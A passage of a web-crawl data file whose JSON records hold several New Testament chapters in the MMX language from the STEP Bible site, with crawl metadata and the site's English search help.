1.0000030994415283}","num_words":1305,"character_repetition_ratio":0.054,"word_repetition_ratio":0.0,"special_characters_ratio":0.214,"stopwords_ratio":0.288,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"aAis 49:26\nRevelation of John 16\nLavanuti Leventingtigon At Lebelemamao At Ne Moroa1 La nia aga ronga laxaka linga silok ga vaase su boro xeneng at loogu laplavang, la ga lok ti mo lavanuti lubungangelo xeretna, \"Minat pas la mina soli asu lebelemamao at ne Moroa i nemen keneng at nom lavanuti leventingtigon to at lavatbung menemen.\"\n2 La laangelo avot gat pas la ga soli asu mo lebelemamao ri limixin at na lavatbung menemen. La lemparabi silok gang songot aleng, ga vot saparap mo limixin diga ruuna loklok katling ap mo lavatpanga sio la diga lotu parap lavatpoovo vanga ren.\n3 La laangelo sepsev agepura ga soli asu lebelemamao at ne Moroa ri laras la laras ga ravasu ngan ta lada at laradi i met, la lempanga axap at lebelen laras ga met.\n4 La laangelo sepsev avantun ga soli asu mo lebelemamao at ne Moroa ti laradan silok la levempuvut dan bok, la diga ravasu ngan lada. 5 La aga ronga laangelo ik lok tatao laradan ga lok ti ne Moroa,\n\"Lodoxoma ram ti lok li na losongsongot ura lok li vam i at lavatbung menemen ik mokso aleng. Kuren la ne Moroa, nenu u melemelengan lingina la gano bok, 6 mila nedi limixin kapmek diga sev amet limixin nuunu eburu mi lavaeme vapaase alii ram, kuren la ura raba nedi limixin kapmek mi lada kusu nedi dina in i, la ik mokso aleng do nedi limixin kapmek dina in mo lada.\" a\n7 La melemu aga ronga lempapaase boro at loxonin laplavang ga lok keretna,\n\"I ruturun aleng. Nenu ne Moroa, Leeme Silok, u lolos aleng. La lodoxoma ram ti lox asuusu mo levesongsongot, ik mokso la i epovo rinotno at loklok, mo limixin diga lox i.\"\n8 La laangelo sepsev avanuet ga soli asu lebelemamao at ne Moroa ro at laxangking. La laxangking ga lok kaka lololos kusu nan bonbo limixin mi liplivi silok teren. 9 La laxangking gan bonbo nedi, la diga paase aksaksa ri laasen at ne Moroa, mo i ruuna lololos mavana at nom levesongsongot. Ketla nom limixin di goxo para rinotno xusu dina leeng basinge laxapmek atdi la dina emi asu mi ne Moroa.\n10 La laangelo sepsev avalimo ga soli asu manga lebelemamao at ne Moroa ro at loxot kitkis at lavatpanga sio, la mo lixitkis teren ga nemen at lamain bonot, la limixin diga atat aleng leven gam atdi mumu losongsongot silok atdi. 11 La diga paase aksaksa ri ne Moroa no vana at laxalibet mumu losongsongot la laxanabi atdi, ketla di goxo para rinotno xusu dina leeng basinge mo laxapmek diga lox i.\n12 La laangelo sepsev avanna ga soli asu lebelemamao at ne Moroa to at ladan silok Iupretis. La mo ladan ga mes axap, kusu ri lox agagas li langas ti lavaorong silok boro at lenep laxangking i soosoo su e. 13 La nia aga ven lavantun lubunggas ga milik ngan laxarokrok, lara ga sixisu boro at lungusno at lavattulaava, la lara boro at lungusno at lavatpanga sio, la lara boro at lungusno at laradi vapaase alii xaxarang. 14 Nedi na leventoonan at lubunggas di ruuna lololos kusu dinak lok lempanga sangsangu. La diga epeseves ti lavatbung menemen axap, kusu dina lok bubua ka lavaorong silok eburu mi limixin esep atdi ri mo leesep ba vot ap mo langsangan laaleng silok at ne Moroa i lolos aleng.\n15 La ne Iesu ga lok keretna, \"Nia aba vot ngan laradi xipkip pilo. Luvukat ti mo lara i gagas amisik la ik lok gagas nunuan lisingsigaara ren kusu neni noxo lok beleben la noxo lok mamangan.\"\n16 La mo leventoonan kapmek diga lok bubua ka lavaorong silok to at lemenemen laasen teren at lavapaase Ibru do 'Amagedon.'\n17 La laangelo sepsev avanuti ga soli asu lebelemamao at ne Moroa ti lamavangkap, la langsangan lavapaase silok ga ravasu boro at loxonin orong, mo ik lok keneng at loogu laplavang; ga lok keretna, \"Ira xap ta.\" 18 La lavanga ga mam etitit ga vot, la leretepaavat boro vana at laxalibet ga tit la langsangan langne silok ga vot. La goxovisi tangne silok kerepmo ga vot, ga ru ka i at luruntudum li at limixin, la mo langne ni ga lok kapmek aleng. 19 La mo lemenemen silok ga epeseves ti lavantun levengkot la mo levenmenemen silok at na lavatbung menemen ga rem utut axap. La ne Moroa ga doma asu laxapmek at limixin to at lemenemen silok, Babilon, la neni ga lox asuusu lebelemamao silok teren ti mo limixin. 20 La levesoxan axap mi lempattavut diga sonao. 21 La langsangan larakabu ga vot la lengkos teren ga lok ngan lemparuat la lumumuat teren ga epovo at lavanuet sangaun mi lavalimo leven kilogerem, la ga subu at limixin, la diga paase aksaksa ri ne Moroa mila losongsongot at na lavatakabu ga lok kapmek aleng.\nCopyright information for `MMX\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-43","url":"https:\/\/www.stepbible.org\/?q=version=MMX%7Creference=Rev.16","date":"2018-10-18T09:44:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583511761.78\/warc\/CC-MAIN-20181018084742-20181018110242-00547.warc.gz","language":"mmx","language_score":0.9999902248,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 0.9999902248382568}","num_words":943,"character_repetition_ratio":0.075,"word_repetition_ratio":0.0,"special_characters_ratio":0.21,"stopwords_ratio":0.301,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 John 4\nMina Ila Mumu Avot Be Levenanasa Vetpes1 Larapen tangas orong tarak. Nemen gat mita rebeng alis soso levenanasa atnedi di tong i do di ruuna Loroonan Kaala; ketla mina viila mumu avot be levenanasa atdi do i sixit epovo mi levenanasa at ne Moroa. Mina lox i xuren atla buaang lavaeme vapaase xaxarang dit pas tangtagap at lengkot axap. 2 I epovo do mina ven kibis mo laradi i ruuna levenanasa at Loroonan Kaala at ne Moroa. Do neni i tong asu i do ne Iesu, neni Lanarong at ne Moroa la ga vee radi ngan nedik, la neni i ruuna Loroonan Kaala at ne Moroa. 3 Ketla do tara kopmen na tong i do ne Iesu ga rupot boro at ne Moroa, neni kopmen at ne Moroa. Limixin kerepmo nedi luvuttadi munepen mi ne Iesu. Nemi miga ronga i do diba rupot la monga dira nemen pam at na lavatbung menemen.\n4 Luvutnuruk orong. Nemi limixin at ne Moroa. Mira ke xepe vam lavaeme vapaase xaxarang atla ne Moroa i nemen keneng atnemi la lololos teren i volo lololos at ne Satan, neni lamgomgo at limixin at na lavatbung menemen. 5 Nedi mede at na lavatbung menemen mun, kuren la di anasa mi levempanga at na lavatbung menemen, la limixin at na lavatbung menemen ding tonga res atdi. 6 Ketla nedik limixin at ne Moroa, la mo do lara ikleklen ne Moroa, neni bang tonga res atdik. La mo lara do kopmen neni at ne Moroa, neni noxong tonga res atdik. La kerepmo i epovo ta ven kibis i do nege i ruuna Loroonan Tuturun, la nege i ruuna loroonan kaxarang.\nMoroa Ni Laradi Balamu7 Larapen tangas orong tarak. Ata ebalamu ela mila ne Moroa ni lavasuun at labalamu. Mo lara do i umsu mi labalamu, ni ne nitna ne Moroa la ikleklen ne Moroa. 8 Mo lara do kopmen tabalamu ren, neni kopmen naklen ne Moroa atla ne Moroa neni laradi balamu. 9 La ne Moroa ga lox asuusu labalamu ren tinedik keretna, neni ga riki legesamdak teren ude at na lavatbung menemen, kusu nedik taba ruuna ka lorooro avolo ma xeneng at lugugu ren. 10 Labalamu i lok keretna; kopmen dola nedik diga balamu ne Moroa, ketla neni ga balamu dik la ga riki ne Nitna ngan laxaavuk ti ru korop ti laxakapmek atnedik. 11 Larapen tangas orong tarak. Do ne Moroa i balamu nedik kerepmo, nedik bok ata ebalamu ela. 12 Kopmen tara goxo ven tu at ne Moroa; ketla do nedik ta ebalamu ela, i lox asuusu i do ne Moroa i nemen keneng atdik, la labalamu ren i lox ampana avukat keneng at lorooro atdik.\n13 Nedik di xasep dola nedik di rooro at ne Moroa la ne Moroa i rooro atdik, atla ni ga raba vam dik mi Loroonan Kaala ren. 14 La nema magara ven pam ne Nitna la ma tong asu i dola ne Temen dik ga riki ne Nitna ngan Laradi Loklox Arooro ri limixin at na lavatbung menemen. 15 Do tara i tong asu i do ne Iesu Nitna ne Moroa, ne Moroa i nemen keneng teren la neni i nemen keneng at ne Moroa. 16 La nedik axa takleklen i do ne Moroa i balamu dik la kerepmo ta xasep do ik lok tatao dik.\nMoroa neni laradi balamu la do tara i rooro keneng at labalamu, ni i nemen keneng at ne Moroa la ne Moroa i nemen keneng teren. 17 At na mun langas labalamu at ne Moroa ik lox ampana avukat keneng at lorooro atdik kusu at laaleng ete ata noxo ruuna lanmarat, mila lorooro atnedik at na lavatbung menemen i lok ngan mun lorooro at ne Iesu. 18 Do tara i ruuna labalamu, ixo epovo do lanmarat na nemen keneng at lorooro ren. La mo labalamu ruturun teren naba lok kepe mo lanmarat i nemen at lorooro ren; lanmarat ik lok at laradi i lok laxakapmek la ba xip lumumuat. Do tara i ruuna lanmarat, kovisi labalamu na epampana avukat at lorooro ren.\n19 Nedik ta umsu mi labalamu atla ne Moroa ga balamu avot dik. 20 Do tara i lok dola i balamu ne Moroa ketla ik milik angtungun ti neton, ni laradi xaxarang; atla neni ixo epovo xusu ni na balamu ne Moroa no neni goxovisi ven tu ren do neni noxo balamu avot be neton ua neni ira ven tu vam teren. 21 Mo lavapaase ne Karisito gara raba vam dik min i lok keretna; do tara i balamu ne Moroa, neni na balamu bok neton.\nCopyright information for `MMX\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-43","url":"https:\/\/www.stepbible.org\/?q=version=MMX%7Creference=1Jo.4","date":"2018-10-15T11:12:14Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583509170.2\/warc\/CC-MAIN-20181015100606-20181015122106-00041.warc.gz","language":"mmx","language_score":1.0000013113,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 1.000001311302185}","num_words":900,"character_repetition_ratio":0.087,"word_repetition_ratio":0.0,"special_characters_ratio":0.22,"stopwords_ratio":0.328,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Colossians 41 Lavaeme amgomgo, minak lok tatao nunuan lavasaxaruki atnimi la loklok nemi minak lox i rinedi na lox avukat. Mina lox i xuren mila nemi bok mi ruuna Leeme Silok no vana at laxalibet.\nMina Ngising Amisik2 Mina ngising amisik, la levesingising atnimi na ruturun mene nga, la mina tong loklox avukat ti ne Moroa. 3 La mina ngising bok tinema' kusu ne Moroa naba suang lumusaragu nade rinama' ti paase asu Lagale Lavavang mumu ne Karisito, gano mo Lagale Lavavang ga nemen alipe. La nenia a nemen at loxokoxo mumu mun i mo Lagale Lavavang. 4 Mina ngising ne Moroa do nia ana valas axasep nunuan levelinga ren kusu limixin diba xasep teren, la levelinga at ne Moroa ba xasep kerekngan ne Moroa i vara i. 5 Mina ruuna ka loklok nunuan at lorooro atnimi rip tuvuk avukat saparap nedi nom kopmen dina nuunu; la mina gagas at levenaleng axap ti tong asu Lagale Lavavang tidi. 6 Levempapaase atnimi nap tavasu nunuan amisik kusu rik lox amomo limixin, la mina gagas do miba vorang avukat limixin mi levelinga at ne Moroa.\nLevelinga Xavaxap7 Netak orong ne Tikikas, ni laradi i ruturun at lugugu ren la lasaxaruki eburu minema at lugugu at Leeme Silok, la neni naba raba nemi mi lavapaase axasep mumu ia. 8 La nenia aga lox aonon i udom saparap nemi, kusu ri lok kaxat lomomo atnemi la na tong i do nema mo map tuvuk kereva. 9 Neni ba emu eburu bok mi ne Onesimas, neni laradi ruturun la netak orong; neni at libinam tadi atnemi. Nedu duba tong asu lempanga salai mo it pot nade.\n10 Aristakas, mo i nemen eburu minia at loxokoxo, i lox aonon bok lavapaase momo ren; la ne Mak, lovopno at ne Banabas bok kuren. Nemi migara lok ka vam lavapaase axasep ti siam abeles ne Mak dola ni na mu langas uto atnemi. 11 Josua, laasen bok teren ne Jastas, i lox aonon bok lavapaase momo rinimi. Nedi na lavantun mene boro Judaia kantubu atnedi di gugu eburu minia rik lok ka limixin uto at Linintoo at ne Moroa, la dik lox amenemen ia. 12 Lavapaase momo rinimi boro at ne Epapras, lara at libinam tadi atnemi; neni lasaxaruki at ne Iesu Karisito. Neni i ngising lolos amisik tinemi, i ngising amisik ne Moroa ri lox alolos nemi kusu miba tu tuxuruxun keneng at lunuunu atnemi kerekngan limixin mukun la miba xasep aleng at lodoxoma at ne Moroa. 13 Na nenia a tong asu langsangan lugugu ren tinimi la ti limixin bok to Lodisia la to Irapolis. 14 Lentangas orong atdik ne Luk, leeme loklok tatao anmeres, nedu mi ne Demas du lox aonon lavapaase momo rinemi. 15 Mina lox aonon lavapaase momo rak ti luvutneton dik mo di nemen to Lodisia la ti mo latkin ne Nimpas, la tinedi limixin lotu mo dit pot etang amisik to at loogu ren.\n16 Melemu do mina us axap na levelinga i nemen keneng at na lovoang, mina xasep bok do miba us box i ro xeneng at loogu lotu to Lodisia. La miba us bok mo lovoang, luvutneton dik me Lodisia diba raba nimi min.\n17 La mina vaase bok ti ne Akipas keretna, \"Una lolos kusu una lox epovo mo lugugu Leeme Silok ga raba u min.\"\n18 A malagan i na lavapaase momo mi lakngak akmokso. Lavapaase momo rinimi boro at ne Pol. Nemen mita domampe i do nenia ak lok de at loxokoxo. ▼\n▼ Pol ga sok mene lavapaase momo, la lara vetpes ga malagan levelinga ne Pol ga vaase min.\nMo letaba nabalamu at ne Moroa na nemen amisik eburu minemi. I ruturun.\nCopyright information for `MMX\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nESVthroneDavidIsa-Rev\nKJVWHNUJohn 1\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-43","url":"https:\/\/www.stepbible.org\/?q=version=MMX%7Creference=Col.4","date":"2018-10-17T19:21:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583511206.38\/warc\/CC-MAIN-20181017174543-20181017200043-00483.warc.gz","language":"mmx","language_score":0.9999870062,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 0.999987006187439}","num_words":667,"character_repetition_ratio":0.06,"word_repetition_ratio":0.0,"special_characters_ratio":0.215,"stopwords_ratio":0.258,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Revelation of John 21\nLaxalibet Maxat Mi Lavatkangka Maxat1 La nia aga ven laxalibet maxat la lavatkangka maxat, mila laxalibet avot mi lavatkangka avot ga xap la laras ga sonao. 2 La aga ven lemenemen melemelengan, ni lemenemen maxat Jerusalem, ga si boro vana at laxalibet boro at ne Moroa, ni ga nganang ngan latkin i gagas kusu na epot maxat at latlok teren. 3 La aga ronga luxupkup silok boro at loxonin orong at ne Moroa ga lok, \"Mina ven ba i, lemenemen aulis at ne Moroa monga ira si vam la neni nak lok eburu mi limixin. La ne Moroa naba nemen eburu minedi, la nedi diba lok ngan limixin teren, la ni naba nemen ngan ne Moroa atdi. 4 Neni naba ves kepe lengkabili dan basinge lengkatli atnedi. La limixin kopmen di noxo met bok ba, la di noxo saxaanu bok ba kopla dinang teng la di noxo songot bok ba; mila lavatkangka avot ga sonao vam eburu mi lempanga axap gak lok keneng teren.\"\n5 La mo Laradi gat kis at loxot kitkis teren ga lok, \"Monga ana lox amaxat lempanga axap.\" La ni ga lok bok tia xeretna, \"Una malagan i na mila na levelinga i ruturun la i epovo do limixin dina nuunu ren.\"\n6 La ni ga lok bok, \"Ara lox empampana vam lugugu rak; nenia Lurutu Kaxat la Lumumupit. Aba vaxain nedi limixin do di minu mi mo ladan i puvut su boro at lavatturunen at ladan at lorooro la kopmen di noxo un i. 7 Dola nege na vas asi lololos at laxakapmek, neni naba ruuna na leveloklox anarong keretna; nenia aba nemen ngan ne Moroa ren la neni naba nemen ngan ne nuruk. 8 Ketla nedi limixin makmarat la nedi dina sok tixirixes lunuunu atdi, la nedi dina lok laxakapmek silok la nedi dina sev amet parang limixin, la nedi dina lok loklok kakapmek maxamang at lixitkis epot, la nedi luvuttadi sak, la nedi dina lotu parap levempoovo moroa, nedi limixin babala; nedi axap na, nenia anaba lu arup midi uto xeneng at lemet kao i ngangao mi lasalpa. Na losongsongot, ni lanmet sepsev agepura.\"\nLemenemen Maxat Jerusalem9 La lara at nom lavanuti lubungangelo mo gam tebeng lavanuti lempattingtigon ga umsu mi lavanuti levesongsongot, ni ga lok tia, \"Ude u, la ana lox ase u mi mo loono maxat, neni latkin ti Lanasip.\" 10 La Loroonan Kaala ga vubeles tarak, la nom laangelo ga xip kaka ia uto at lakaana silok la ga lox ase ia mi lemenemen melemelengan Jerusalem, mo ga si boro vana at laxalibet la boro at ne Moroa. 11 La mo lemenemen gan tanan aleng mi lisisixam at ne Moroa. Mo lemenemen ga soosoo aleng ngan lengkonuat gamgames, luunun teren i urut aleng, i ngan jespa, i gamgames la i xasep aleng. 12 La langsangan larangas uat matmatkun ga baalom aleng upana la ga tu xangkan mo lemenemen silok Jerusalem; la lasangaun mi legepura laramusaragu gak lok ap mo larangas uat, la lasangaun mi legepura lubung angelo ga lok tatao mo laramusaragu, legesa angelo at legesa musaragu. La ap mo laramusaragu levenasen atnedi lasangaun mi legepura larabibinat at limixin boro Israel gak lok atdi, leges asen at legesa musaragu. 13 Lavantun laramusaragu gak lok to meso, lavantun levenmusaragu gak lok to mero, lavantun laramusaragu gak lok to mexun, la lavantun laramusaragu gak lok to mesi. 14 La mo langas uat gat kis mavana ap mo lasangaun legepura larauat kis, la levenasen atnedi lasangaun mi legepura luvuttadi vavang at Lanasip gak lok teren.\n15 La mo laangelo ga paase tia, ni ga ruuna losoxovo i gol, kusu na soxovo mo lemenemen silok eburu mi laramusaragu ren la larangas uat teren. 16 Lababaalom at larangas uat ap mo lemenemen silok mi lerepteplas teren la lababaalom upana ukopok ga epovo mun. La nom lababaalom teren ga epovo at legepu abin sangsangaun kobot mi lavalimo sangaun kobot (2500) kilomita. 17 La ni ga soxovo bok lerepteplas ap mo larangas uat la ga epovo at lavantun sangaun mi legepu asongo. Laangelo ga soxovo mo lemenemen kerekngan limixin di soxovo lemenemen. 18 Langas uat ap mo lemenemen diga lox i mi la Jespa, la mo lemenemen silok diga lox i mi logol tinotno, la ga xasep ngan lagalas. 19 La mo larauat kis at larangas uat diga xovox i mi laxanasen uat axap i gamgames. Lara avot neni la Jespa; lara mumu neni la Sapai; lara sev avantun neni la Aget; la lara sev avanuet neni la Emeral. 20 Lara sev avalimo neni la Onikis; lara sev avanna neni la Kanelien; lara sev avanuti neni la Krisolait; lara sev avanuan neni la Beril; la lara sev avasik neni la Topas; la lara sev asangaun, neni la Kirisoperes; la lara sev asangaun mi legesara, neni la Jasin, la lara sev asangaun mi legepura, neni la Emetis. 21 La mo lasangaun mi legepura laramusaragu, nedi lasangaun legepura leven peal la at legetgesa musaragu diga lox i mi legesa peal mun, la langas lom ap mo lemenemen ga gol tinotno la ga xasep ngan lagalas.\n22 La nia a goxo ven toogu laplavang go xeneng at nom lemenemen silok, mila ne Moroa xa Leeme Silok neni i lolos aleng la nedu eburu mi Lanasip duk lox amisik ap mo lemenemen silok; kuren la limixin dixok pakes ti toogu kusu dina lotu parap ne Moroa mi Lanasip go. 23 La mo lemenemen silok ixok pakes ti laxangking mi lagaaling kusu duna soosoo axasev i. Lisisixam at ne Moroa im taba amisik losoosoo at levenaleng axap, la Lanasip ni lababao ren. 24 La limixin axap at na lavatbung menemen diba nemen at nom losoosoo, mo i soosoo su boro ap mo lemenemen silok. La lavaorong silok axap at na lavatbung menemen diba xip beles levenapnovos atdi ukeneng teren. 25 La laramusaragu ap mo lemenemen silok noxo tu vipipe, la noxopmen bok ba taxanimin go. 26 La limixin at lavatbung menemen diba xip beles mi levenapnovos atdi uto xeneng ap mo lemenemen silok. 27 Ketla kopmen tinotno taxakapmek naba beles keneng teren, nedi dik lok lengkot mamangan kopla di xaxarang, di noxo vubeles teren. Nedi xusuk mene levenasen atdi ik lok to at lubuk at lorooro at Lanasip diba beles keneng teren.\nCopyright information for `MMX\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-43","url":"https:\/\/www.stepbible.org\/?q=version=MMX%7Creference=Rev.21","date":"2018-10-18T11:03:55Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583511806.8\/warc\/CC-MAIN-20181018105742-20181018131242-00013.warc.gz","language":"mmx","language_score":0.9999886751,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 0.9999886751174927}","num_words":1170,"character_repetition_ratio":0.079,"word_repetition_ratio":0.0,"special_characters_ratio":0.21,"stopwords_ratio":0.285,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"James 1\nLavapaase Axasep1 Nenia ne Jems, lasaxaruki at ne Moroa la at Leeme Silok ne Iesu Karisito. Nia a malagan na levelinga ri lasangaun mi legepura larabibinat me Judaia di epeseves at na lavatbung menemen axap.\nNia a malagan lavapaase momo rinemi.\nLevenmumuat I Lox Asu Lunuunu Lolos2 Luvutnetak mi luvurinuk. Do levenasen panga mumuat na vot parap nimi, i lox avukat do mina momo mene, 3 atla miklen i do nom levenmumuat i tupot parap nimi kusu ri lox alolos lunuunu atnimi la melemu miba tu tuxuruxun keneng at lunuunu atnimi. 4 Mina tu lolos amisik maxeneng at levenmumuat, la nemen mita subu kot. La kerepmo miba vee ngan limixin mukun at lunuunu atnimi la kopmen tempanga xapmek bak lok at lorooro atnimi mo ba umsu aleng mi leveloklok nunuan. 5 Ketla do tara atnimi ik pakes ti lodoxoma avukat, ni na sing ne Moroa, atla ne Moroa naba raba aleng i min; Moroa im taba buaang lempanga ri limixin getgesara la neni xopmen noxo rebeng alis toxot teren mumu loklok atdik. 6 Ketla mina nuunu lolos at lengkonaleng mi ngising parap ne Moroa, la nemen lodoxoma atnimi na sixit ekarakat. Laradi xopmen na nuunu lolos, i ngan lovotas i repit to at laras la ik sixit la lamanman i mas ekapus i uto la uto at lengkot axap. 7 Laradi xerepmo noxo nua i do naba lok ka levenasen panga boro at Leeme Silok. 8 Neni xopmen na epovo ri lox alii lodoxoma at lorooro axap teren la ni xopmen na epovo ri lox aulis lunuunu ren parap ne Moroa.\nLaradi Banbalo La Laradi Nopnovos9 Do laradi banbalo ik lok kantubu atnemi limixin nuunu, neni na lok momo mun, keke i do kopmen tevempanga ren; laaleng move ne Moroa naba xip aurur i. 10 Ketla do laradi nuunu i ruuna buaang levempanga, neni naba lok momo mo do ne Moroa na lox asi i. Neni i lok ngan mun lempusuvus aaxa i nemen lixilik mun la ia met ta. 11 Laxangking i urut la iplivi aleng la i lox amolos axap nom lempusuvus aaxa la i subu uto xopok at laxangka; lampeneves teren ira xap. At nom mun langas laradi i ruuna levempanga solo naba met basinge leven gugu axap teren ap mo levenaleng i lok lugugu ren.\nLeveloklok Tong Pen Ti Laradi Nuunu12 I lox avukat aleng do laradi nuunu na tu tuxuruxun maxopok at leveloklok tong pen. Mo do laradi ira sak tup pam mi leveloklok tong pen, i lox avukat mila ne Moroa naba raba i mi lavatbungorong, i lok ngan luunun tin la neni lorooro avolo. Ganoxa ne Moroa ga paase alii i do ni naba raba i ri mo limixin di balamu i.\n13 Do loklok tong pen i vot parap tara la i lok laxakapmek, ni noxo lok do ne Moroa i raba na loklok tong pen tin. Kopmen tara i epovo ri lok tong pen ne Moroa ti lok laxapmek, la neni xa noxo lok tong taradi. 14 Ketla laradi i suma loklok tong pen at loxonaleng lavavara xapmek axa ren i sar asoogong i. 15 La mo lavavara xapmek teren naba sisilok la ba lox asuusu laxakapmek. Melemu at na, laxakapmek na sisilok la na lox asu lanmet.\n16 Luvutnetak mi luvurinuk orong. Nemen tara na xarang nimi mumu i na. 17 Leventamtaba mo i lox avukat aleng, ni axap nom boro vana at laxalibet; i si boro vana at ne Temen dik, mo ga rudum li laxangking, lagaaling, la laxampenti; kopmen teretepukus at loklok teren la kopmen toxot at lamain ik lok keneng teren. 18 Neni ga mumu asu lavavara ren la ga raba nedik mi lorooro maxat, mo ga laa boro at levelinga ruturun teren, kusu nedik taba lok ngan levempipisik avot, la taba gomgo ri lempanga axap, ni ga rudum li i.\nNemi Mina Ronga Na Levelinga, La Mina Mumu Asu Box I19 Luvutnetak mi luvurinuk. Mina doxoma na lavanga. Nemi axap mina lok soso ri ronga res, ketla nemen mita vaase porang soso levelinga, la mita musak soso, 20 mila lumukmusak at laradi kopmen na lox asuusu luruptuvuk avukat, kerekngan ne Moroa i vara i. 21 Kuren la, leveloklok axap i bilingot la laxakapmek i umsu aleng at na lavatbung menemen, ni nom mina lok pes kape i. La mina lox asi nimi la mina xonom ka levelinga at ne Moroa, ni gatlo li i ro xeneng at lorooro atnimi. Ni mun nom levelinga i epovo na lox arooro nimi.\n22 Nemen mita lok ngan luvuttadi rongtonga xape mun di ronga levelinga at ne Moroa, la kopmen dina mumu asu i. 23 Do laradi i ronga mo levelinga, ketla kopmen na gu mu asu i, ni i ngan laradi i ven loroonan teren at liriong 24 la i reven avukat lemeren la melemu i vas kaxat, la soso mun i domampe mo lemeren i lok kereva. 25 Ketla do tara i ven kibis mo levelinga i nunuan aleng, mo levelinga naba lox asepmus i basinge loxokoxo at laxakapmek. Do neni nang tonga amisix i la noxo domampe i, ketla na gu mu asu i, Moroa naba lox anarong i at lempanga ni i lox i.\n26 Lentaba dik lok keretna, \"Nenia laradi nuunu la loklok tarak i lox avukat at lemeren ne Moroa.\" Ketla do ni xopmen na lok tatao avukat lavapaase ren, ni i xaxarang axa lebelen, la lunuunu ren i ngan lavanga gamasa. 27 Leveloklok mo i nemen, ne Moroa i vara i do limixin dina lox i. Do dina lox epovo i, i lox asuusu i do di nuunu ruturun. Nom leveloklok i lox avukat aleng la i lok keretna. Limixin dina lok tatao avukat lubungkarun la lavakin, lavatlok atdi diga met pam; la dina lok tooro di at levenmumuat atdi. La lara lavanga bok, nedik ata lok tatao avukat lavatpas atnedik, la loklok at na lavatkangka noxo lox abilingot lorooro atnedik.\nCopyright information for `MMX\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nESVthroneDavidIsa-Rev\nKJVWHNUJohn 1\n© Tyndale House, Cambridge, UK - 